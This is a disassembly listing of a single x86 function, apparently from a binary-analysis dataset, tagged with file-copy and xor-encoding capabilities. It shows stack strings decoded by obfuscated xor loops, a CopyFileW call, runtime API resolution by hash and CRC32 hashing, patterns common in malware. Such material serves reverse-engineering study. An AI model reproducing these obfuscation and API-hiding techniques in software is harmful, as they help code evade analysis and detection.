Function at 0x4258b5
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00424ee0
add esp, 4
test al, al
je 0x4255e0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe0
mov dword [esp + 0xa0], 0x832c8149
mov dword [esp + 0xa4], 0x87328537
mov dword [esp + 0xa8], 0x8b268929
mov dword [esp + 0xac], 0x8f5e8d20
mov dword [esp + 0xb0], 0x93269131
mov dword [esp + 0xb4], 0x9796953c
mov word [esp + 0xb8], 0
mov byte [esp + 0xba], 0
xor eax, eax
movzx ecx, byte [esp + eax + 0xa0]
mov edx, eax
xor edx, 0x1f
mov esi, ecx
not esi
or edx, esi
lea edi, [ecx + edx]
add ecx, edx
inc ecx
lea edx, [eax + 0x65611e0]
and edx, esi
mov esi, edx
not esi
and esi, ecx
xor edx, ecx
lea ecx, [edx + edi]
inc ecx
sub ecx, esi
add cl, 0xa0
mov byte [esp + eax + 0xa0], cl
inc eax
cmp eax, 0x1b
jne 0x425640
mov dword [esp + 0x18], 0xf580964
mov dword [esp + 0x1c], 0x3590d49
mov dword [esp + 0x20], 0x7510159
mov dword [esp + 0x24], 0x1b4c0550
mov dword [esp + 0x28], 0x1f721971
mov dword [esp + 0x2c], 0x13531d41
mov dword [esp + 0x30], 0x174e1157
mov dword [esp + 0x34], 0x2b78154d
mov dword [esp + 0x38], 0x2f42296d
mov dword [esp + 0x3c], 0x23712d7b
mov dword [esp + 0x40], 0x2772217a
mov dword [esp + 0x44], 0x3b7b254f
mov dword [esp + 0x48], 0x3f7b396e
mov dword [esp + 0x4c], 0x33583d50
mov dword [esp + 0x50], 0x374a3151
mov dword [esp + 0x54], 0x4b2f35be
mov dword [esp + 0x58], 0x4f194924
mov dword [esp + 0x5c], 0x43274d38
mov dword [esp + 0x60], 0x473b4121
mov word [esp + 0x64], 0x4544
mov byte [esp + 0x6a], 0
mov dword [esp + 0x66], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 2
xor cl, byte [esp + eax + 0x18]
add cl, 0xf6
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 0x53
jne case.default.0x425764
lea ebx, [esp + 0xa0]
lea eax, [esp + 0x18]
push ebx
push eax
call fcn.00437aa0
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x447978]
mov ecx, edi
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x425770
sub eax, edi
cmp eax, 0xffffffd9
jge 0x425790
mov eax, 0xffffffff
jmp 0x425793
xor eax, eax
jmp 0x426843
add eax, 0x26
push eax
call fcn.0040cf60
add esp, 4
mov esi, eax
mov dword [esp + 0x18], 0x298f2b78
mov dword [esp + 0x1c], 0x2d9c2f99
mov dword [esp + 0x20], 0x319d3386
mov dword [esp + 0x24], 0x356a3799
mov dword [esp + 0x28], 0x398b3b91
mov dword [esp + 0x2c], 0x3d943f8a
mov dword [esp + 0x30], 0x1ab0393
mov dword [esp + 0x34], 0x5bc0772
mov dword [esp + 0x38], 0x9a00ba0
mov word [esp + 0x3c], 0xf08
mov dword [esp + 0x3e], 0
mov byte [esp + 0x42], 0
mov eax, 0x593d2b87
nop
movzx ecx, byte [esp + eax - 0x593d2b6f]
xor ecx, eax
mov edx, 3
sub edx, ecx
add ecx, 0x5c
and edx, 7
and ecx, 0xf8
sub ecx, edx
add cl, 8
mov byte [esp + eax - 0x593d2b6f], cl
inc eax
cmp eax, 0x593d2bb2
jne 0x425800
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x425861
mov edx, edi
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425850
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x425891
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425880
mov word [eax], 0
jmp dword [0x447980]
push edi
call fcn.0040cf70
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x447988]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x447988]
mov dword [esp + 0x18], 0x39fc3bf1
mov dword [esp + 0x1c], 0x258b279c
mov dword [esp + 0x20], 0x21b023b5
mov dword [esp + 0x24], 0x2db92f8a
mov dword [esp + 0x28], 0x298e2b85
mov dword [esp + 0x2c], 0x15871785
mov dword [esp + 0x30], 0x11b81386
mov dword [esp + 0x34], 0x1db71f87
mov dword [esp + 0x38], 0x19801bce
mov dword [esp + 0x3c], 0x5ac07b4
mov word [esp + 0x40], 0x304
mov dword [esp + 0x42], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x18]
lea edi, [eax + 0x64f9cf4b]
mov ebx, ecx
xor ebx, edi
lea edx, [ebx + ebx]
not edx
add edx, ebx
and edx, edi
mov edi, edx
and edi, 0xfd
mov ebp, edx
and ebp, 2
mov ebx, edx
or ebx, 0xfd
inc ebx
imul ebx, edi
or edx, 2
imul edx, ebp
sub ebx, edx
add ebx, eax
add bl, cl
add bl, 0xd4
mov byte [esp + eax + 0x18], bl
lea ecx, [eax + eax]
and ecx, 2
mov edx, ecx
and edx, eax
xor ecx, eax
xor ecx, 1
lea eax, [ecx + edx*2]
cmp eax, 0x2e
jb case.default.0x4259b8
push 0
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ebx, [esp + 0xa0]
push 0x60
push 3
push 0x120089
push ebx
push esi
call fcn.00440a40
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447990]
xor edi, edi
xor ebx, ebx
jmp dword [0x4479f0]
push esi
call fcn.0040cf70
add esp, 4
xor eax, eax
cmp edi, ebx
sete al
jmp dword [eax*4 + 0x4479f8]
mov dword [esp + 8], ebx
mov eax, ebx
mov dword [esp + 0x14], edi
sub eax, edi
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040cf60
add esp, 4
mov ebp, eax
mov dword [esp + 0x18], 0x95e0b37
mov dword [esp + 0x1c], 0x57b0779
mov dword [esp + 0x20], 0x176037b
mov dword [esp + 0x24], 0x1d6e1f5f
mov dword [esp + 0x28], 0x19461b6c
mov dword [esp + 0x2c], 0x159a1767
mov dword [esp + 0x30], 0x1129136b
mov dword [esp + 0x34], 0x2d432f74
mov dword [esp + 0x38], 0x29512ba0
mov dword [esp + 0x3c], 0x25552757
mov dword [esp + 0x40], 0x21562340
mov dword [esp + 0x44], 0x3d433f51
mov dword [esp + 0x48], 0x394e3b43
mov dword [esp + 0x4c], 0x35bc370a
mov dword [esp + 0x50], 0x31483348
lea eax, [esp + 0x54]
mov word [esp + 0x54], 0x4f30
mov dword [esp + 0x56], 0
mov word [esp + 0x5a], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 3
mov edi, ecx
sub edi, esi
movzx ebx, byte [esp + edx + 0x18]
mov esi, edx
or esi, 0x2cad4e7c
add esi, edi
xor esi, ebx
lea edi, [esi*2 + 2]
inc esi
and edi, 0x20
xor esi, 0xdf62886f
inc esi
mov ebx, esi
sub ebx, edi
and esi, 1
xor ebx, 1
lea ebx, [ebx + esi*2]
mov byte [esp + edx + 0x18], bl
inc edx
dec ecx
cmp edx, 0x44
jne 0x425aa0
lea edx, [esp + 0x18]
mov ecx, 0xf
lea ebx, [esp + 0xa0]
mov edi, ebx
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea eax, [esp + 0x98]
push eax
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44c00c]
mov edi, dword [esp + 0x98]
test edi, edi
jns 0x425b4f
mov eax, 0xffffffff
jmp 0x425b52
mov dword [esp + 0xc], esi
jmp dword [0x44799c]
xor eax, eax
test edi, edi
jne 0x42680a
jmp 0x426843
lea eax, [edi + edi]
push eax
call fcn.0040cf60
add esp, 4
mov esi, eax
lea eax, [esp + 0x98]
push eax
push edi
push esi
push 0x1e
push ebx
push 0
call dword [0x44c00c]
lea eax, [esp + 0x88]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x80], esi
push esi
call fcn.00440a40
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447a00]
mov dword [esp + 4], 0
mov dword [esp], ebp
mov ebx, dword [esp + 8]
mov edi, dword [esp + 0x14]
jmp dword [0x447ad8]
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x90]
call fcn.00440d90
add esp, 0xc
not eax
shr eax, 0x1f
xor edi, edi
mov dword [esp + 4], 0
mov dword [esp], ebp
mov ebx, dword [esp + 8]
jmp dword [eax*4 + 0x447a08]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.0040cf60
add esp, 4
push 0
push esi
mov dword [esp + 0x98], eax
push eax
push dword [esp + 0x94]
call fcn.00440e50
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov dword [esp], ebp
jmp dword [eax*4 + 0x447a10]
mov edi, dword [esp + 0x94]
mov esi, dword [esp + 0x90]
mov byte [esi + edi], 0
push 0x20
call fcn.0040cf60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x8c], eax
mov ecx, eax
push edi
push esi
call fcn.00428410
movzx eax, al
xor edx, edx
mov dword [esp], ebp
jmp dword [eax*4 + 0x447a18]
mov dword [esp + 0x18], 0xab94aa8f
mov dword [esp + 0x1c], 0x86b49ca7
mov dword [esp + 0x20], 0x8b879b73
mov dword [esp + 0x24], 0x9c7980be
mov dword [esp + 0x28], 0x828f8cbc
mov dword [esp + 0x2c], 0x81816a7f
mov dword [esp + 0x30], 0x83b1b482
mov dword [esp + 0x34], 0xb3bdb453
mov dword [esp + 0x38], 0x19bd
mov eax, 0x65eb068a
mov ecx, 0x75
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x65eb0672]
mov edi, ecx
and edi, esi
mov edx, eax
xor edx, esi
lea ebx, [eax - 0x65eb0600]
and ebx, esi
add ebx, edi
add edx, esi
sub edx, ebx
mov esi, edx
xor esi, 0xfd9720b3
and edx, 0x268df4c
add edx, edx
sub edx, esi
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
mov byte [esp + eax - 0x65eb0672], dl
inc eax
dec ecx
cmp eax, 0x65eb06ae
jne 0x425cf0
mov ecx, dword [esp + 0x8c]
lea eax, [esp + 0x18]
push eax
call fcn.00428600
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
mov dword [esp], ebp
mov ebx, dword [esp + 8]
jmp dword [ecx*4 + 0x447a20]
add eax, 8
mov dword [esp + 4], 0
mov edi, dword [eax]
xor eax, eax
test edi, edi
setne al
mov dword [esp + 0x9c], ebp
mov dword [esp], ebp
jmp dword [eax*4 + 0x447a28]
mov eax, dword [case.0x4259b8.34]
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 0x9c]
mov edx, dword [esp + 4]
nop
nop
nop
nop
jmp eax
mov dword [esp + 4], edx
xor edi, edi
jmp dword [0x447aa8]
mov esi, dword [esp + 0x8c]
mov ecx, esi
call fcn.00428770
push esi
call fcn.0040cf70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x447ab8]
mov esi, dword [esp + 0x90]
jmp dword [0x447ac0]
jmp dword [0x447ac8]
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x447a28]
mov eax, dword [edi]
cmp dword [edi + 0x18], 3
mov ebx, 0
jne case.default.0x425e21
mov ebx, dword [edi + 0x10]
mov dword [esp + 0x6c], eax
test eax, eax
setne al
test ebx, ebx
setne cl
and cl, al
movzx ecx, cl
mov edx, ebx
jmp dword [ecx*4 + 0x447a40]
mov ebp, edx
inc edx
cmp byte [ebp], 0
jne case.0x425e21.1
sub ebp, ebx
inc ebp
shr ebp, 1
lea eax, [ebp + 1]
push eax
call fcn.0040cf60
add esp, 4
mov edx, ebx
jmp dword [0x447a50]
mov dword [esp + 0x84], edi
movsx edx, byte [ebx]
mov edi, eax
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0xc], eax
jmp dword [ecx*4 + 0x447a58]
inc ebx
mov byte [edi], cl
inc edi
movsx edx, byte [ebx]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x447a58]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x425e92
mov ecx, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x425ead
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [ebx + 1]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x447a60]
lea eax, [edx - 0x30]
cmp eax, 0xa
jb 0x425ec1
mov eax, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae case.default.0x425ee6
add edx, 0xffffffa9
mov eax, edx
shl ecx, 4
or ecx, eax
add ebx, 2
mov byte [edi], cl
inc edi
movsx edx, byte [ebx]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x447a58]
mov byte [edi], 0
mov dword [esp + 0x10], 0
push 0
push 0x10
push 0
push dword [esp + 0x78]
call fcn.00428810
add esp, 0x10
xor ecx, ecx
mov esi, dword [esp + 0x14]
cmp esi, dword [esp + 8]
setne cl
jmp dword [ecx*4 + 0x447a68]
mov ecx, dword [esi]
mov dword [esp + 0x10], ecx
xor ecx, ecx
jmp dword [ecx*4 + 0x447a78]
add esi, 8
xor ebx, ebx
cmp esi, dword [esp + 8]
setne bl
jmp dword [ebx*4 + 0x447a68]
mov ebx, dword [esi + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, edx
xor ebx, eax
xor ecx, ecx
or ebx, edi
sete cl
jmp dword [ecx*4 + 0x447a70]
mov ecx, 1
jmp dword [ecx*4 + 0x447a78]
xor eax, eax
mov ebx, dword [esp + 0x10]
test ebx, ebx
setne al
jmp dword [eax*4 + 0x447a80]
mov edi, dword [esp + 0x84]
mov eax, dword [esp + 0xc]
jmp dword [0x447aa0]
lea esi, [esp + 0x18]
mov edi, dword [esp + 0x84]
jmp dword [0x447a88]
mov eax, dword [esp + 0xc]
jmp dword [0x447aa0]
movzx eax, byte [ebx]
test al, al
je 0x425fcd
inc ebx
mov ecx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x425fc0
jmp 0x425fd0
mov ecx, dword [esp]
mov word [ecx], 0x203a
mov eax, ecx
add eax, 2
mov esi, dword [esp + 0x7c]
test esi, esi
je 0x42601b
mov ecx, dword [esp + 0x80]
mov edx, esi
and edx, 3
je 0x42601f
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebp], bl
inc ebp
cmp edx, ebp
jne 0x426000
add eax, ebp
mov edx, esi
sub edx, ebp
mov edi, eax
jmp 0x426021
mov edi, eax
jmp 0x426069
mov edx, esi
cmp esi, 4
jb 0x426069
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x426030
mov byte [edi], 0xa
inc edi
mov dword [esp], edi
push 0xbe5098bb
push dword [0x44c004]
call fcn.00440000
add esp, 8
push dword [esp + 0x80]
call eax
mov al, 1
mov dword [esp + 4], eax
mov edi, dword [esp + 0x84]
mov eax, dword [esp + 0xc]
jmp dword [0x447aa0]
push eax
call fcn.0040cf70
add esp, 4
add edi, 4
mov edi, dword [edi]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x447a28]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447a98]
mov dword [esp + 0x18], ebp
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne 0x4260e0
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44c01c]
call fcn.00440000
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp dword [0x447a90]
mov dword [esp + 0x18], ebp
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + eax + 1], 0
lea eax, [eax + 1]
jne 0x426150
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44c01c]
call fcn.00440000
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x74]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp case.0x425764.67
mov edi, dword [esp + 0x74]
mov esi, dword [esp + 0x70]
mov byte [esi + edi], 0
push 0x20
call fcn.0040cf60
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x6c], eax
mov ecx, eax
push edi
push esi
call fcn.00428410
movzx eax, al
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x4479b8]
mov dword [esp + 0x18], 0xa5b0aac1
mov dword [esp + 0x1c], 0x4e5848a1
mov dword [esp + 0x20], 0x554d3915
mov dword [esp + 0x24], 0x301f445a
mov dword [esp + 0x28], 0x5a454050
mov dword [esp + 0x2c], 0x585b3819
mov dword [esp + 0x30], 0x4d404845
mov word [esp + 0x34], 0xff4d
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
mov eax, 0x31aeadfb
lea esi, [esp + 0x18]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x31aeade3]
lea edx, [eax - 0x31aead00]
and edx, ecx
or ecx, eax
xor ecx, edx
lea edx, [ecx + 0x7969a18]
mov edi, edx
xor edi, 0xfe
mov ebx, edx
or ebx, 1
and ebx, edi
mov edi, edx
and edi, 0xfe
xor edx, 1
add ecx, edx
add ecx, 0x7969a18
sub ecx, edi
add ecx, ebx
mov byte [esp + eax - 0x31aeade3], cl
inc eax
cmp eax, 0x31aeae1f
jne 0x426260
mov ecx, dword [esp + 0x6c]
push esi
call fcn.00428600
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor ebx, ebx
jmp dword [ecx*4 + 0x4479c0]
jmp dword [0x4479e0]
mov esi, dword [esp + 0x6c]
mov ecx, esi
call fcn.00428770
push esi
call fcn.0040cf70
add esp, 4
jmp dword [0x4479e8]
add eax, 8
xor ebx, ebx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edi, edi
mov dword [esp + 0x10], 0
jmp dword [eax*4 + 0x4479c8]
lea ecx, [eax + eax]
not ecx
add ecx, eax
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 4]
mov dword [ebp + eax + 4], ecx
mov ebx, dword [esp + 8]
add ebx, 8
mov ecx, dword [esp]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebp
jmp dword [eax*4 + 0x4479c8]
mov dword [esp], ecx
mov ebp, dword [ecx]
mov esi, ebx
sub esi, edi
mov ecx, dword [esp + 0x10]
cmp ebx, ecx
mov dword [esp + 4], esi
je 0x426360
mov dword [esp + 8], ebx
jmp 0x4263de
mov eax, esi
sar eax, 3
inc eax
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x426377
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040cf60
add esp, 4
mov esi, eax
test edi, edi
je 0x4263cd
cmp edi, dword [esp + 0x10]
je 0x4263c4
mov edx, esi
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [edx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [edx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, dword [esp + 0x10]
jne 0x4263a0
push edi
call fcn.0040cf70
add esp, 4
mov edi, esi
lea ecx, [esi + ebx*8]
mov eax, esi
mov esi, dword [esp + 4]
add eax, esi
mov dword [esp + 8], eax
mov dword [esp + 0x10], ecx
mov dword [edi + esi], 0
mov dword [edi + esi + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebp + ebx], 0
lea ebx, [ebx + 1]
jne 0x426400
push ebx
call fcn.0040cf60
add esp, 4
mov dword [esp + 0x14], edi
mov dword [edi + esi], eax
mov ecx, ebx
shr ecx, 2
mov edx, ebp
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, ebp
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov esi, edx
mov edi, eax
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, ebx
inc cl
test cl, 1
jne 0x426467
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
mov eax, 0xffffffff
cmp ebx, 1
je 0x426310
mov edx, 0xffffffff
mov ecx, 1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebp + ecx - 1]
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
mov edx, eax
shr edx, 1
and eax, 1
neg eax
mov esi, eax
xor esi, 0x12477cdf
or eax, 0xedb88320
and eax, esi
xor eax, edx
inc ecx
mov edx, eax
cmp ebx, ecx
jne 0x426480
jmp 0x426310
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x4479a8]
mov edi, dword [esp + 0x74]
lea eax, [edi + 1]
push eax
call fcn.0040cf60
add esp, 4
push 0
push edi
mov dword [esp + 0x78], eax
push eax
push dword [esp + 0xac]
call fcn.00440e50
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
xor ebp, ebp
jmp dword [eax*4 + 0x4479b0]
jmp dword [0x4479e8]
push dword [esp + 0x70]
call fcn.0040cf70
add esp, 4
jmp case.0x4259b8.6
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x18], 0xc0d0a0b
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x18]
mov esi, 0xfd
sub esi, ecx
and esi, edx
mov edi, 0xdfd017fd
sub edi, ecx
or edi, edx
not edi
or edi, esi
mov edx, edi
and edx, 0x48
xor edi, 0xc8
lea edx, [edi + edx*2]
add dl, 0x2e
mov byte [esp + ecx + 0x18], dl
add ecx, 0x30a2f5f7
mov edx, ecx
xor edx, 0x30a2f5f6
and ecx, 9
add ecx, ecx
sub ecx, edx
cmp ecx, 4
jb 0x4265e0
mov ecx, dword [0x44c010]
test ecx, ecx
je 0x426658
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44c014]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426650
inc esi
cmp ecx, esi
jne 0x426640
jmp 0x426658
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x426664
mov edi, ebp
mov esi, dword [esp + 0xc]
jmp dword [0x4479f0]
push eax
push 1
push ecx
push dword [0x44c018]
call fcn.0043d120
add esp, 0x10
mov edi, ebp
mov esi, dword [esp + 0xc]
jmp dword [0x4479f0]
mov eax, dword [esp + 0x88]
mov dword [esp + 0x18], 0xc0d0a0b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edi + 0x18]
mov edx, 0xfd
sub edx, edi
and edx, ecx
mov esi, 0xdfd017fd
sub esi, edi
or esi, ecx
not esi
or esi, edx
mov ecx, esi
and ecx, 0x48
xor esi, 0xc8
lea ecx, [esi + ecx*2]
add cl, 0x2e
mov byte [esp + edi + 0x18], cl
add edi, 0x30a2f5f7
mov ecx, edi
xor ecx, 0x30a2f5f6
and edi, 9
add edi, edi
sub edi, ecx
cmp edi, 4
jb 0x4266a0
mov ecx, dword [0x44c010]
test ecx, ecx
je 0x42671c
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44c014]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426710
inc esi
cmp ecx, esi
jne 0x426700
jmp 0x42671c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4267ee
mov edi, dword [esp + 0x14]
jmp dword [0x447ad8]
push eax
push 1
push ecx
push dword [0x44c018]
call fcn.0043d120
add esp, 0x10
mov edi, dword [esp + 0x14]
jmp dword [0x447ad8]
cmp edi, ebx
je 0x426843
mov ebp, eax
mov esi, edi
jmp 0x426827
add esi, 8
cmp esi, ebx
je 0x426838
mov eax, dword [esi]
test eax, eax
je 0x426820
push eax
call fcn.0040cf70
add esp, 4
jmp 0x426820
push edi
call fcn.0040cf70
add esp, 4
mov eax, ebp
add esp, 0xe0
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0xa8]
call fcn.00440d90
add esp, 0xc
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0xa8]
call fcn.00440d90
add esp, 0xc
jmp dword [0x4479a0]
push edi
inc edx
add byte [ecx - 0x63ffbda9], cl
pop eax
inc edx
add byte [ebp - 0x5fffbda8], dh
pop ecx
inc edx
add ch, al
pop eax
inc edx
add byte [edi + 0x36004259], bh
pop ecx
inc edx
add byte [esi], dh
pop ecx
inc edx
add byte [esi], dh
pop ebx
inc edx
add byte [esi + 0x68], cl
inc edx
add byte [eax + ebp*2 + 0x42], ah
add byte [edi + 0x65], ah
inc edx
add byte [esi + 0x68], cl
inc edx
add dl, al
inc edx
add byte [edi + 0x65], dh
inc edx
add byte [esi - 0x5dffbd9b], ch
popal
inc edx
add bl, cl
bound eax, qword [edx]
cld
popal
inc edx
add bl, cl
bound eax, qword [edx]
jmp 0x447a28
mov byte [ebp + 0x42], bl
add ah, bh
pop ebp
inc edx
add byte [eax - 0x5fffbda3], ah
pop ebp
inc edx
add byte [edx - 0x5fffbda3], ah
pop ebp
inc edx
add cl, ch
pop ebp
inc edx
add byte [eax], dh
pop esi
inc edx
add byte [eax], dh
pop esi
inc edx
add byte [eax], dh
pop esi
inc edx
add byte [edx + 0x5e], dl
inc edx
add byte [eax], dh
pop esi
inc edx
add ch, ch
pop esi
inc edx
add byte [ebp + 0x7000425e], al
pop esi
inc edx
add byte [esi + ebx*2 + 0x5f6e0042], dh
inc edx
add byte [edx + 0x5f], al
inc edx
add byte [edx + 0x5f], ah
inc edx
add byte [eax], ah
pop edi
inc edx
add byte [esi + 0x5f], ch
inc edx
add byte [edi], ch
pop edi
inc edx
add byte [eax - 0x6effbda1], al
pop edi
inc edx
add ch, cl
pushal
inc edx
add byte [ebx], dh
popal
inc edx
add byte [edi + 0x33004260], bh
popal
inc edx
add byte [edx - 0x53ffbda1], ah
pop edi
inc edx
